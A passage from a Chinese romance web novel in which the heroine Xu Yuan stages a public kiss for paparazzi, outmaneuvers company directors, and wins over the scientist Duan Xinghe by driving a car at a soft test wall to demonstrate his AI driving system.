“许愿是疯了吧,这种时候盛景炎坐在轮椅上她还要去主动亲吻盛景炎!这个眼神她明明就知道狗仔在偷拍……我甚至觉得这个狗仔可能都是她安排来的,鸡皮疙瘩都要起来了,许愿到底想干什么啊!” “盛景炎都这样了许愿还能真的接他回家主动亲吻,看来是真的很爱盛景炎。” “她是知道这几天我们的争执,所以告诉我们……她做出了选择,她选择了盛景炎。” 她就这样干脆利落的做出了选择。 下一秒,众人就发现许愿更新了一条微博。 她说,盛先生,欢迎回家。 她说她要接盛景炎回家,她就真的接他回家,她说爱他,就真的用这样的吻告诉世人她的爱有多纯粹赤诚,她不在意他是不是废人,她只在意陪在身边的是不是那个人。 因狗仔曝光的照片和视频,这些的确成为各大娱乐头条的焦点。 …… 傅京礼瞳眸幽深的看着此刻的热搜,脸色愈发阴沉可怕。 他以为盛景炎变成废人后许愿会离开他,他以为许愿会做出正确的选择,没想到她义无反顾决定握紧盛景炎的手。 第230章 这是她的告白 一切都没有按照他计划的进行。 许愿她就是个疯子。 特意拉开窗帘故意在窗边接吻,她就是等着被拍等着被人看到这一幕,她真的想告诉这些无知网民她的选择吗?网民只是顺便。 她一定是猜出了那些狗仔是被他派去的,她就是在反抗。 她就是要让他知道她选择了盛景炎。 呵。 许愿,真狠啊。 他曾经伤害过你,你就要用这种方式来羞辱他,选一个废人也不肯选他。 傅京礼打了个号码,嗓音沙哑有着抑制不住的冷意。 “撤掉热搜,明天我不想再看到这些消息。” 接到电话的容浔顿了下开口:“撤不掉。” 撤不掉,怎么会撤不掉,为什么会撤不掉? 只能因为许愿插了进来。 傅京礼没再说什么,挂断电话一遍又一遍的看着录像,环视其内亲吻她的男人是自己,无数次后他终于还是透过这则录像看到的是盛景炎的脸。 他几乎是沉重的喘息着然后狠狠地将手机和电脑通通砸烂。 没关系,许愿还年轻。 盛景炎现在才刚成为残疾人,许愿不清楚陪着一个废人生活照顾他的情绪要有多麻烦,等以后她习惯了这些她就会麻木就会被消磨掉那些爱。 她这样的精致利己主义者,一定会选择离开盛景炎。 只要她回头,就能看到他在身后。 他终将得到她! …… 许愿早就猜到狗仔将这一切曝光在网络上会是怎样爆炸性的新闻,她知道自己现在的热度有多高。 她眉眼弯弯的看着眼前的男人,温柔的亲吻着他的侧脸。 “盛景炎,这是我面对世人对你的告白。” 盛景炎像是无奈。 许愿是在给他安全感啊。 许愿的爱,一直都拿得出手,就像曾经对傅京礼,就像现在对他。 这些热搜热度窜得太高,相关部门盯着许愿联系了刑从景,刑从景的回应是不用管随她去。 是的,懂得人都知道,这是许愿在表达爱意。 …… 热搜足足挂了一天,许愿陪着盛景炎挂完水等他睡着后才找到刑从景咨询与段星河相关的事。 许愿心里很清楚段星河拿出的这份信函说是想要达成合作,倒不如说是挑衅。 他知道许愿和傅长海都在找他,他就像是苏青莲一样躲在暗处看戏,嘲讽他们找不到他的任何踪迹。 一明一暗,没有任何消息,谁能猜到段星河会躲在警备队负责的研究院成为被保护的研究员,和当初的唐青江无异。 许愿长指摩挲着手中的信件忍不住轻笑,笑意凉薄。 “他想告诉我,我和傅长海他选择了我。” 赢了傅长海,没什么可高兴的。 谁会因为赢了一个人品低劣的废物而高兴? 许愿继续翻阅刑从景递交来的新资料,看到其内研究出成果眸光微微闪了闪。 “邢队,这些东西可以公开吗。” 刑从景顿了下,似乎不明白她要做什么。 “这些是段星河交来的资料,他说不是多重要的东西,随意处置。” 是的,都是只有设想的数据,一串数据谁能看出其中深意。 “那我就放心了。” 许愿登录上自己的微博,将这些资料一字不改全部上传微博,并@ 了一个微博小号,回应“感谢段老师给我这个合作的机会,期待明天在晚宴上见到段老师。”话落,最后上传了段星河的信函内容,拍照,上传。 刑从景挑了下眉:“全发了?” 许愿抱肩,面色平静,唇角带着淡淡的笑意。 “不是说没什么不可以公开的吗,段老师的大作自然是要让所有人都看到最好。” 是啊,那一手的狗爬字体,足够让看到的人都开嘲讽了。 妥妥的报复。 所以惹谁也别惹许愿,指不定什么时候把你的底全掀了。 许愿才因为对盛景炎的亲吻“告白”住在热搜上,这还没多久就又发送了一条微博,关注她的人纷纷跑去查看内容,然后就发现许愿发的是与科研相关,但是首页那张图里面的字也太丑了,几乎认不出写的什么。 许愿字儿这样? 不啊,她微博里面不是抛出过写钢笔字的图吗? 众人仔细看微博,终于发现端倪。 研究抗癌药物和纳米机器人各种的“段星河”。 这研究如果是真的,那岂不是要实现新一步的科技创新医疗创新,如果一切都是真的,那太多人就可能被拯救…… 一时间,一条微博迅速被顶上热搜。 热搜词条除了有#抗癌药物##纳米机器人##新一次科技革命#这三个热搜词条,甚至还有个#段星河 字太丑#甚至力压其他几个热搜跑到榜一。 在实验室内做实验的段星河根本不知道发生了什么事,等他知道自己因为字丑被吐槽时已经是晚上了。 这是许愿的打击报复,她甚至不想多等一天。 当晚,段星河登录了那个小号微博,转发了许愿那条微博只回复了一个黄豆豆微笑的表情算是回应。 明晃晃的带着冷笑和嘲讽。 许愿曝光这些,就是要让所有人都知道段星河的价值,段星河想要清净,她偏不要段星河清净,段星河想要私下和她交易,她偏要把事情闹大。 她要让段星河的晚宴上有数不胜数的铜臭商人。 她要让段星河能彻底清楚的明白,她才是最适合的合作伙伴。 段星河的价值被她曝光,诸多公司纷纷因为此事召开紧急会议,盛世自然也看重此次合作特地为此召开董事会议。 盛景炎浑身是伤,许愿是不许他参加的,只身赶到盛世出现在董事会上。 诸位高管已经就谁该去参加段星河举办的晚宴去谈合作的事就已经吵到脸红脖子粗了。 但他们统一的看法就是,谁去都可以但许愿不行。 “谁都可以,但我不可以?” 迟来的许愿知道她们这种想法脸上的嘲讽笑意止都止不住。 “你们是以什么身份什么立场对我说出这种话?” 许愿眼神冰冷:“或者说我该问问诸位,知不知道此次真正被邀请的人是我。” 第231章 段星河 此次盛世甚至没有将许愿的名字加入参与此次晚宴的候选人名单。 许愿看到此次的名单眼神暗了几分。 “没有我,你们以为你们真的能被段星河邀请?” “许愿,你说这个为什么不说是你曝光了段星河的踪迹让别的公司都知道了段星河,现在除了盛世其他公司也即将搭上这条线!” “若是你提早联系盛世,我们盛世自然可以私下跟段星河谈好合作。” 许愿靠坐在长桌上,她似乎并不在意盛父坐在本该属于她的位置。 “要赌吗,这次候选人名单多加一个你,如果你拿不下这次的合作就将手中股份卖给我然后滚出盛世。” 她声音淡淡的却不留半点情面。 那位董事顿时噤声。 他谈什么合作,他只知道段星河研究的那些能挣钱,但根本看不懂那些数据报表,他就是单纯的看不上许愿一个女人这么嚣张还做出了可能危害盛世利益的事。 “段星河这个人像个疯子,我知道我在你们很多人眼里已经是疯子,但跟段星河比起来我倒是要略逊一筹,他要寻找合作对象一定是真的经过精心挑选从中选择最优秀的。” “此前向我伸出橄榄枝无非是想让我认为这是他的恩赐,但我这样做是为了让段星河清楚,在国内除了我没有人能跟得上他的节奏。” 许愿敢说这样的大话全因她有此前的各类研究基础,包括她修改的汽车跑车数据都是板上钉钉的真实数据。 这么说吧,如果盛景炎此次车祸开的是其他跑车早不知死过多少次了,但换成许愿的车只是断了腿,被撞了那么多次还能留下这条命,足以让人清楚许愿的真正能力。 现场所有人的目光都落在许愿身上,目光沉沉。 “我知道诸位心里对我也很有意见,认为我这个副总名不正言不顺,那这次我就拿这副总的位置来赌。” “这次我们换一种方式,设置一个考验。谁能说服段星河与盛世合作,谁就当这个副总。”许愿环视众位股东。 大家考虑片刻,又讨论了一会儿,纷纷点头。 段星河是人工智能领域最杰出的科学家,如果段星河真如许愿发的那些资料所说的那样聪明,那他手中有重大的数十项发明专利。 把他请到盛世坐镇,就算研发成果短时间内出不来,盛世的股价也会顺风而涨。 “段星河可是一块难啃的骨头。” “据说小道消息听说国外企业给他开出上亿年薪,他都没点头。” “这个考验恐怕没人能完成。” 许愿抬起手,阻断大家的议论:“不试试怎么知道没人能完成?就这么办吧。” 在场的董事没再反对,只因许愿在候选名单上添了几个人,而那几个人恰巧是这些董事的血脉。 许愿最擅长梳理关系,攻破心防,说服别人,只添了几个候选人就已经让这些人哑声。 下午,许愿就收到了消息。 她没有制定任何攻略计划,马上就赶往段星河的研究所。 抵达时,一个熟悉的人已站在研究所门前。 “陈总。”许愿笑着打招呼。 陈飞豪,副总候选人之一,据说是大股东陈建军的小儿子,后台很硬。 “许总,你也来了。”陈飞豪回过头,笑嘻嘻地说道:“许总,小道消息传着说段老师很抵触跟女性合作呢,所以许总长得这么漂亮可能也没什么用了。” 在某些人眼里许愿如此优秀还是靠着这样一张脸跟那群优秀的男人关系好。 挺可笑的。 陈飞豪眼界高,脾气傲,家世好,却是当真了,他是觉得不会有如此优秀的女人,所以看不起许愿。 许愿眸色微闪,笑容不变。 “这么多小道消息,也不知段老师知不知道,我这样的不行,那陈总这长相的异性怕是更会被忽略了。” 明摆了嘲他丑。 受到挑衅,陈飞豪当场就拉下了一张脸。 两人在一名研究员的带领下来到研究所内部。 前方不远处的空地上,一名身材高大的男子正在操控一台玩具小飞机,一群研究员簇拥在他身边。 听见脚步声,他转头看来,狭长眼眸隐藏在无框眼镜之后,目光明明很散漫,却又锐利得仿佛能穿透人心。 那是一张十分俊秀的面容,明明是带着书卷气息的,但却裹挟着说不出的戏弄之意藏在其中。 他勾唇一笑,英俊的面庞竟带上了几分邪恶的意味。 直面这个笑容的许愿脚步停顿,身体微僵,心里陡然升起一股不祥的预感。 段星河此前一直被警备队保护,网络中寥寥数张照片都是很久之前的,画质非常模糊甚至看不清楚段星河的脸。 在许愿的印象里,这是一个非常年轻的科学家,十几岁就跟在苏青莲身边成为苏青莲得力助手跻身于行业顶端,拥有足以改变世界的能力。 十几岁就已经到达有些人一辈子都无法到达的顶峰。 他现在也不过三十多岁的年纪,正是男人成熟稳重的时候,可偏偏这人笑起来像是顽劣的小恶魔。 簇拥着段星河的那些研究员都穿着规规整整的白大褂,扣子扣到底,连喉结都没往外露,头发梳得一丝不苟,面容淡漠严肃。 这副模样与许愿的想象是一致的。 严谨的科学家就该如此。 偏偏段星河把白大褂当成风衣,衣襟大敞,里面穿着一套深蓝色西装,领带是俏皮的波点图案。一副无框眼镜架在他高挺的鼻梁上,狭长眼眸闪烁微光,锋利又明亮。 他长得非常英俊,与傅京礼有得一拼。 但傅京礼的英俊是带有攻击性的,他的英俊却像抓不住的风,十分放荡不羁。 戴着眼镜的他看上去很斯文,也很……败类,其实如果一定要像个形容词,那他很像衣冠禽兽。 许愿放慢脚步,落到陈飞豪身后。 陈飞豪加快速度来到段星河面前,老远就伸出手做自我介绍。 “段老师,您好,我是盛世集团的代表,我姓陈,您叫我小陈就好……” 第232章 被调戏了 听到陈飞豪的话许愿勾起唇角,玩味地笑了笑。 陈飞豪的年龄比段星河还要大几岁,这会儿却甘愿当“小陈”,之前面对自己时的傲气上哪儿去了? 陈飞豪这样的为了公司能屈能伸,倒也不全是靠他父亲的背景才有今天。 许愿胡思乱想着,不知不觉已走到近前。 她没有挤上前递名片,也没有做自我介绍,更没有抢过话茬。她只是默默站在一旁像是在看一出好戏,她是真的想知道陈飞豪想要如何谈拢这次的合作。 她也要让陈飞豪探探路,看看段星河对与盛世合作是个什么态度。 陈飞豪十分卖力地游说着,说话声滔滔不绝。 段星河操控着那台玩具小飞机,并没有放下遥控器与陈飞豪握手。 他抬眸轻瞥,目光掠过陈飞豪谄笑的脸,落在许愿漂亮明艳的脸上,她眼底闪烁着几分兴味光芒,明摆着看戏。 视线停留几秒,而后漫不经心地挪开。 伸出去的手被晾了老半天,陈飞豪只是尴尬,完全不敢动怒。 他缩回手,开始详细介绍盛世集团的发展规划,以及可以为段星河提供的薪资待遇。 上亿年薪,豪车豪宅,无上限的研发资金…… 陈飞豪开出一个又一个优厚的条件,周围的研究员们起初还有些不耐烦,后来却被吸引,忍不住侧耳倾听。 唯独段星河还在摆弄那台玩具小飞机,薄唇勾出一抹玩世不恭的弧度。 许愿退后几步,走进遮阳棚。 正是夏日,气温暴涨,今天阳光太晒,她已经有些热了,脱掉身上的西装外套,内里搭着一条贴身的红色长裙,紧贴着身体勾衬出完美的身材曲线。 阳光却好像格外偏爱她,好像是躲进了遮阳棚都能照到她身上,让她整个人宛若在发光。 她的肌肤实在白嫩,只是看着都能感受到那触感。 她似是觉得长发披散着实在太热,随手将脑后的长发随手撸起用随身的发簪扎起,完美的天鹅颈也暴露出来,优雅却又透着绝佳的诱惑力。 她整个人就像是在阳光下一颗让人垂涎欲滴的红樱桃,只是看着便让人心底泛起波澜。 段星河漫不经心的目光再度扫过,停留数秒,又看向半空中飞着的小飞机。 原本周围打转的小飞机忽然直直朝许愿冲去,嗡嗡的轻响不明显,但足以让许愿听到。 许愿顿了下,却见小飞机已经“嗖”的一下飞到许愿身前,飞机冰冷的前端蹭着她的肩窝,然后在她脸上蹭了蹭,这次就开始围着许愿打转,就像是玩闹的小动物对她展开了浓厚的兴趣,左看看右看看的观察她。 许愿顿了下,抬起头目光落到段星河身上,她面无表情,还是那副寡淡模样。 段星河眯了眯眼,勾了勾唇,那种令人心惊肉跳的邪恶感又来了。 许愿很清楚,段星河也是一个骨子里很危险的人。 嗡嗡嗡的轻响由远及近,那辆玩具飞机绕了一个大圈,又回到许愿身边,又开始绕着她乱飞,还发出滴滴答答的音乐声,仔细听好像还是那首“你是我的小苹果”很早前的神曲伴奏了。 许愿只觉头都开始痛了。 许愿:“……”自己这是,被调戏了? 口干舌燥的陈飞豪:“……”妈的,说好的段星河不喜欢情情爱爱呢?难不成真的是因为以前的女人都不够漂亮,必须要许愿这种颜值的才行? 靠!颜值高真就这么占便宜? 陈飞豪仔细看了许愿几眼,心里有些不忿,但碍于段星河现在的身份只能忍了。 他递出一张名片,笑呵呵地说道:“段老师,我们开出的条件您满不满意?如果不满意,您考虑好了之后可以向我们提,稍后我们详谈。这是我的名片,您随时可以找我。” 思来想去,他决定先撤。 自己在这儿滔滔不绝地讲,段星河开着个玩具小飞机在那儿调戏许愿。这是把自己当猴耍,还是把许愿当猴耍? 不管耍谁,反正段星河的注意力全都在许愿身上,自己说什么都没用,这人压根就没听着。 陈飞豪略一躬身,开口告辞,转身时对许愿说道:“走吧,我开车送你。” 要走当然是一起走,他不可能让许愿单独留下。许愿那些下作的手段,说不定真管用。 陈飞豪以为许愿肯定会拒绝跟自己一起走。像许愿这种不择手段的人,哪可能错过任何一个往上爬的机会?但意外的是,许愿只是轻微挑了下眉,似乎真的没有留下来的意思。 她确实只是来得早了些,她想的是让段星河清楚她的能力从中选择她,而不是让段星河得意的认为自己此次是专程为他来的。 陈飞豪见她没打算留下来,心下微松。 “等等。”从头至尾不曾回应过陈飞豪任何一句话的段星河,此刻声音含笑的叫停两人。 陈飞豪和许愿回头看去。 “刚刚我的助理告诉我一件很有意思的事。” 段星河把遥控器交给助理,从裤兜里取出手机,垂眸翻看,薄唇凉薄的微勾,笑容十分玩味。 “听说许总放话,谁能说服我入职盛世,许总都把自己的职位推出来了当筹码,这么好的机会呢,你们就打算这么离开?” 他的目光越过陈飞豪,笔直地看向许愿,完全不带任何思考。 陈飞豪从来没想过放弃,走的时候还留下了名片。 全程没有动作没有说一句话的是许愿,走得干干净净的也是许愿。 所以陈飞豪非常清楚,段星河这句话问的是许愿,不是自己。他的挽留,也仅仅是为了许愿。 妈的! 许愿这张脸难道是个人都就会爱上吗! 就段星河这种神经病也爱她!太离谱了吧! 陈飞豪转头看了看许愿,表情十分阴沉甚至很想嫉妒,但对上许愿那张漂亮的脸又说不出什么过分的话了,脏话到嘴边了又说不出去,他只能尬笑一声转过身对着段星河开口。 “段老师,您看上去好像很忙。我们不想打扰您——” 陈飞豪的解释没人听,许愿已经先他一步轻笑出声,陈飞豪到嘴边的话都咽下去了。 第233章 为什么选许愿 许愿转过身,眸光仍然平淡。 “段老师,您叫住我们是有什么话要说吗。” 陈飞豪瞪向许愿,许愿直接无视他。 许愿向前走了几步,语气淡淡:“您请说,我们会竭力满足您的要求。” 说着竭力满足,但语气却像是想让他滚蛋,有多远滚多远。 陈飞豪心里咯噔一下,连忙摆出一张笑脸,附和道:“是的是的,我们愿意为您提供一切帮助。” “我听说许总对汽车很有研究。”段星河不在意许愿话语中的冷意,他笑意幽深:“不巧,我也对这些有过研究,在盛总研发的汽车之上进行了升级,许总要试一试吗。” 他这话是故意在给许愿漏底,让她知道上面早就盯上她了。 段星河为什么会拿到许愿汽车的数据?不是数据被盗取就是这次盛景炎那辆车被人收走。 是这样没错,那场车祸在内的所有车子全都被上面以要进行调查为借口拉走。 车子会流落到段星河这种人手中许愿毫不意外。 她研究的车子若是能大量贩售将会彻底碾压国外车型,甚至达到垄断市场的效果。 汽车属于高端产品,若是垄断这一行业,那盈利流水金额是让人想都想不到的数额。 许愿慢条斯理的把玩着手机上的挂件,这个挂件是早上盛景炎挂上的,是个玩偶公仔,也不知他什么时候偷偷做的。 她此刻垂下眼睫看着玩偶公仔,眼底掠过的都是温柔,再抬起头时眼底的凉意几乎都要渗出来。 “所以段老师的意思是您才拿到我所研究的车型没几天就已经在这基础上进行了改良升级吗?那敢问段老师……这样的车子,能开吗。” 段星河拊掌笑了。 “所以我才要说你们来得正是时候,刚好由你们来测试一下车子是不是真的能开。” 听到这话陈飞豪面上已经露出惊恐之色,他是真的在害怕。 疯了吗!几天时间在许愿研制的车型数据上座改良还没有经过测试就敢让他们坐这样的车进行测试!是真的疯了吗! 段星河却直接无视陈飞豪。 他指着不远处的两辆汽车开口:“我在那两台车上安装了最新的智能驾驶系统。你们帮我测试一下系统的性能。上了车,我让你们怎么开,你们就怎么开,不要质疑我的命令。谁展现的诚意最足,我就答应谁的入职邀请。” 他倒是派头很足,像是完全不将她们当成人看,就好像只是拿来测试的试验品。 “智能驾驶系统……”许愿念着这几个字陡然笑了。 他又在挑衅了。 他就是在故意嘲讽许愿,车子已经做到这种程度,能够经受那么多次的撞击却没有连接上应有的智能系统,但凡许愿开发出智能系统,那次盛景炎有一半的可能能逃过一劫。 所谓的智能系统就是车子内安装了机器人相关的AI控制设备,一旦检测出有发生危险的可能就会最大程度的寻找逃生路线,降低车祸概率。 前提是,这个智能AI真的靠得住。 陈飞豪在一旁震惊的开口不停夸赞,可没有人在意他,甚至一个眼神都没有落到他身上,他的声音在此刻都已经变成了嘈杂的背景音。 “许愿,你浪费了你聪明的头脑,让自己沾满了铜臭味道。”他指向自己大脑方向:“你生来就该和我是一样的人,我们才该是同类。” 许愿眸色很淡。 “你所有的研究都需要有足够的金钱,你看不起满身铜臭的商人却又要从他们身上套取投资,段老师以为呢。” 段星河嗤了一声,定定的看着许愿。 “你还没有通过我的测试,我不想跟你聊更多。” “所以你们要帮我这个忙,测试我的新车吗。” 在一旁夸到口干舌燥才听到这句话的陈飞豪整张脸都黑了。 敢情他在一旁说了那么多段星河是真的一句话都没听啊。 但是陈飞豪还是只能憋着忍着干笑了两声,然后主动的走向不远处的汽车。 “那么许总呢,要帮我测试新车吗。” “你想测什么,如果我赢了你要答应进入盛世?” 段星河逼近她。 “你真的要我进入盛世?难道不是盛华更好吗?” 许愿眸色冷了,但段星河像是不小心说错话似的啧了一声:“抱歉,说错了句话,不过……如果许总赢了的话,我当然是要跟着许总了。” 两人都是聪明人,对彼此某些小九九心知肚明。 段星河是绝不想自己被控制的,所以哪怕是被上面重点关注保护但他还是在乱做研究,一边展现出自己的价值却又不给出真正能投入市场的东西。 他要大笔大笔的投资却只给了一项又一项的理论和半成品,这才导致上面急需寻找商人合作,他们也需要大量资金继续供着段星河研究。 段星河为什么选许愿? 第一,许愿是苏青莲的女儿。 第二,许愿足够聪明,能跟得上段星河的智商,看得懂研究报表不会像是外行人一样指手画脚不懂装懂。 他要跟着许愿,就是这么简单的理由。 所以他选择的是要跟着许愿而不是进入任何公司。 而许愿呢?她心里自然也是这样想的,如果盛世还能被拯救她自然会救,但若是救不回来许愿也不会让段星河陪着沉沦,她不在乎段星河死活,她在乎的只是利益。 两人不过是眼神对视,便已然明了。 “那么,记住你说过的话。” 话落,许愿方才转身,却听身后的段星河开口:“记住,不要质疑我的命令。” 许愿瞥他一眼:“这是最基本的。” 作为科研人员,寻找试验品的时候就是要找听话的。 许愿和陈飞豪开着车一前一后驶上跑道,在段星河的命令下加速,减速,过弯。 此刻其他公司的人也都陆陆续续赶过来,傅京礼从容浔这里得知许愿来见段星河后也匆匆赶来,结果却见到许愿已经开着车在实验赛场的赛道上奔驰。 傅京礼狠狠皱眉:“段星河,他们这是在做什么?” 第234章 你配吗 跑道上,两辆车越开越快,像离弦之箭一晃而过。若是车技跟不上,怕是要出事故。 “他们在帮我测试智能驾驶系统的性能。傅总,不觉得很有意思吗。”段星河满脸都是笑意。 他显然知道傅京礼和许愿那段过往,这话也像是挑衅一般。 “你让许愿帮你做智能驾驶系统的性能测试?你疯了?”傅京礼厉声开口:“让她停下,我来。” 段星河听到这话微微掀了下眉,目光中带着冷意的审视他,薄唇勾出笑弧,眼眸里却都是一片晦暗。 “傅总,你配吗。” 话落。 两辆车从他们身边疾驰而过,引擎轰鸣,带起一阵风。 “段星河,车速太快了!让她下车,我来!”傅京礼盯着两辆车,浓眉紧拧,面色阴沉。 段星河轻笑,笑意中明显带着讥嘲。 “傅总,这是盛世的赌约,你们傅氏的人恐怕还不能插手。”他凉凉的回应。 “哪一辆是许愿在开?”傅京礼身体紧绷,脸色愈发冷冽。 他是真的担心许愿会出事。 “火红色那辆,我猜到她会来所以特地准备了她喜欢的红色跑车。”段星河拿起对讲机,命令道:“看见前方两百米处的墙体了吗?朝墙开,加速。我让你们刹车,你们才能刹车。” “段星河,你在开玩笑?”竭力伪装镇定的傅京礼终于变了脸色。 “放心吧,我不会拿人命开玩笑。我计算好了,只要他们按照我的指令,在特定的时间点踩下刹车,就一定不会出事故。” 段星河用修长的手指点了点自己额角,轻笑道:“傅总,请相信我的大脑。” 傅京礼面如寒霜,目光凶狠得仿佛能吃人。 竖立在跑道旁的大屏幕忽然闪了闪,显现出左右两个画框。左边画框里是许愿认真驾驶汽车的侧脸,右边画框是陈飞豪。 安装在车内的摄像头正在监控两人的状况。 许愿踩下油门,不断加速,精致明艳的侧脸被阳光镀上一层金边,美好得有些虚幻。 听见加速朝墙体撞去的指令,许愿没有询问,也没有质疑。 作为研究人员,她清楚越是这种关键时刻越是不能胆怯,她脸色平静默默执行每一个步骤。 陈飞豪的表现却截然相反。他额角冒出豆大的冷汗,鞋尖点在油门上,却没敢往下踩,反倒犹犹豫豫探向刹车。 “两百米的距离加速冲撞,紧要关头根本刹不住!段老师,你确定要我这么做?” 陈飞豪的声音有点虚,呼吸渐渐粗重。 “记住你来这里的目的,继续,加速,不要停。”段星河声音冰冷,抬头看着大屏幕,视线却完全忽略了惊慌失措害怕到浑身发抖的陈飞豪,他的目光只一味盯着许愿。 长得如此漂亮,眼眸却藏着坚韧的光,看上去那么需要人呵护,做起事来却这么狠,强烈的反差让段星河没有办法把目光挪开。 两百米的短距离加速冲撞,如果无法精准地抓住最佳刹车点,一场惨烈的事故在所难免。 许愿不怕是因为她知道什么是智能系统,段星河既然是苏青莲曾经用过的人,那智商必定能与苏青莲匹敌,所以若这系统是段星河早前研究出来的那绝对不会出什么大问题。 更重要的原因是,她知道那墙体是防护墙,墙体是软的,是测试专用,不会真的发生车祸,这场比赛到最后赌的就是心态了。 陈飞豪不同,他是真的在赌段星河的大脑能做出最佳决策,赌他自己的反应速度能跟上这条决策。 所以就看最后了。 “加速。”段星河依旧没让两人刹车。 车辆离墙体的距离越来越短,死亡近在眼前。 “让他们刹车!会出事的!”傅京礼的嗓音已经沙哑了。 恐惧感扼住了他的咽喉,揉捏着他的心脏,让他方寸大乱。 他当然清楚如果出车祸可能会发生什么,哪怕这车是改良过后的他还是会怕。 盛景炎就是……就是这样残的…… 他不想眼睁睁看着许愿也被废掉。 “快让他们刹车!”他握住段星河拿着对讲机的手,用力极猛。 段星河灵巧的躲过傅京礼,脸上的表情不变,他慢条斯理的换了一只手拿对讲机,笑着下达指令:“脚踩油门,不要放松。” 大屏幕里,许愿脚踩油门,漆黑眼眸淡漠地看着越来越近的墙体。 她脸上没有任何表情,仿佛真的只是在执行什么简单的命令任务。 陈飞豪已经崩溃了。 “段老师,再加速我就要撞死了!那他妈是墙啊!是墙啊!你要撞死我啊!我不玩了!这副总谁爱当谁当我没这个命!” 尖锐的长鸣在空气里撕扯。 那是陈飞豪紧急踩下刹车的声音。 轮胎摩擦地面,冒出一股股黑烟,车身还在向前滑行,显然已经失控。 惊险万分的场面,看得诸位高管满头冷汗。 陈飞豪的父亲陈建军哆哆嗦嗦伸出手不停地拍抚胸口。他的秘书马上从药瓶里倒出一粒速效救心丸,塞进他嘴里。 傅京礼心脏狂跳,太阳穴抽痛不止。 他绕到段星河另一边,对着对讲机大喊:“许愿,陈飞豪已经刹车了!你快刹车!你不要命了?” 为了盛世副总的职位,为了帮盛景炎守住盛世有必要做到这个地步? 大屏幕上,许愿无动于衷。 车载音响里清晰传来傅京礼的声音,却只是让她弹了弹握着方向盘的十根手指。 这轻描淡写的举动,表明她依旧保持着冷静。 陈飞豪却已经吓破了胆。 段星河盯着大屏幕里的女人。这么漂亮的一张脸,这么凶狠的性情……真是危险又勾人。 “踩住油门,不要放松。”他轻笑下令。 如果这张脸被吓哭,红着双眼流出泪珠,肯定也很美,可惜了,以许愿的性格,是不会让他看到这模样的。 “段星河!你疯了!”傅京礼彻底失控,一拳挥向段星河。 段星河偏头躲过,脸上依旧挂着玩世不恭的笑容。 傅京礼的特助们立刻冲上去劝架,段星河的研究员们也冲了上去。 第235章 他会入职盛世 一群穿黑西装的人和一群穿白大褂的人拥挤在一起,互相拉扯,场面乱成一团。 “许愿,我命令你马上踩刹车!许愿,你听见没有!”傅京礼吼得嗓子都哑了。 “闭嘴。”许愿冷静的声音从段星河的对讲机里传来。 傅京礼身体一僵。 段星河忍不住噗哧的朗笑出声。 真不愧是许愿,不愧是苏青莲的女儿,真是他这辈子遇到的最有趣的女人。 陈飞豪的汽车在尖锐的嘶鸣声里终于刹住了,许愿的汽车义无反顾地撞向墙体。 赶过来的几家公司高层一个个撇开头,不敢再看。 但此刻,汽车却发出长长的滴滴声,许愿感受到有什么东西操控了汽车,自己已经无法操纵方向盘。 车子在墙体前五米处摆尾飘移,陡然过弯。 伴随着轮胎摩擦地面发出的声音,汽车竟然在千钧一发之际开向了别处,然后慢慢减速,停留在空地跑道上。 许愿一直没有表情的脸上却露出很轻很轻的笑。 确实是智能系统,看来段星河研究得还算成功。 周围的人一片哗然。 他们都透过监控录像看清楚是什么状况,有人立刻捧场鼓掌。 “段老师,您让我们窥见了未来的一角。智能驾驶汽车最好的前景已经在您手中!”周围有人开始鼓掌,眼睛里闪烁着热切而又憧憬的光芒。 段星河的研究员们也在鼓掌。 这样的测试,他们还未用真人做过,现场观看远比电脑模拟更令人震撼。 这位许总真是够胆! 盛世的一众高层噼里啪啦热烈鼓掌,对许愿的表现叹为观止,对段星河势在必得。 唯独傅京礼咬牙切齿,怒不可遏。 “如果你的系统失灵了,许愿会被撞死!你知道后果有多严重吗?用真人做这么危险的实验,我要起诉你!” “那不是墙,是特定的测试软体。你自己去摸摸就知道了。”段星河耸了耸肩,毫不在意慢悠悠地说道。 傅京礼:“……” 从车载音响里听见两人的谈话,陈飞豪打开车门,头重脚轻地跑到墙边,用手摸了摸,发现触感绵软,顿时懊悔得直拍脑门。 妈的,真的是测试专用的软体,根本不是墙!他输了!输给了许愿,也输给了自己的恐惧! 他心服口服! 以往他只觉得许愿手段下作,为了往上爬什么都愿意出卖。但现在,发现许愿是这么一个狠角色,他是真的怕了。 这不是一个供人淫乐的小玩意儿,是他妈亡命之徒!早晚有一天,许愿翅膀硬了,谁都敢反噬!靠啊,他是怎么敢跟这么个狠人玩心眼儿的! 陈飞豪抹了把脸,慢慢站起来,走到许愿的车边。 许愿推开门,走下去。 “许总,之前我如果说了什么不中听的话,你别往心里去。我给你道歉。以后如果有什么事需要我帮忙,你只管开口。我能帮的一定帮。不打不相识,我们交个朋友?”陈飞豪跟在许愿身后小声说道。 许愿转过身,目光看向陈飞豪。 她心里清楚陈飞豪士慌了怕了,经过今天的事是想少个敌人,他不想与自己站在对立面。 许愿轻笑握了握陈飞豪的手:“陈总监,我一直当你是朋友。” 陈飞豪的父亲陈建军在盛世还算是个聪明人,不算是那些她想踢出盛世的老古董。 所以能多个朋友,不会有人希望多个敌人。 陈飞豪的心彻底定下来。 傅京礼压着火气,站在不远处眺望。 段星河轻轻鼓掌,笑容满面,视线片刻不离许愿漂亮明艳的脸蛋。 当许愿走到近前时,傅京礼终是压抑不住内心的焦躁与担忧,大步迎上去,用力握住许愿的手腕。 “许愿,我看你是疯了!”他压低音量,脸色一片铁青。 许愿面色平静然后挣脱傅京礼的钳制,她甚至没有看他一眼,脚步平缓的走到段星河面前。 “段星河,你觉得怎么样。” 她此刻就是在等着段星河的回答。 段星河扫过傅京礼混杂着怒火与担忧的脸,眸色微暗,然后才看向面前明艳动人的女人,五官精致大气,眉宇自带坚韧,眼瞳像是一颗闪烁星光价值连城的宝石。 “如果你是指你的长相,那我只能说很漂亮。”段星河夸赞道。 许愿:“谢谢,这些都知道……我不是让你看这个。” “那你让我看什么?” 段星河上前一步,眼底都藏着戏谑笑意。 许愿:“……” 这人纯属明知故问故意装傻了。 他们之前在聊什么段星河真不记得了?明显故意的。 傅京礼的怒火再度濒临失控。 许愿的表情却仍然淡淡的。 “段老师说话算数吗。” 段星河只含笑的掀了下眉:“我说话当然算数,以后我就是许总的人了。” 傅京礼听到这句话,眸色阴鸷地看向段星河。 段星河爽朗一笑,伸出手:“许总,以后我们就是同事了。” “只希望段老师以后可以正经些。”许愿面色平静握住段星河的手,“欢迎您的加入。” 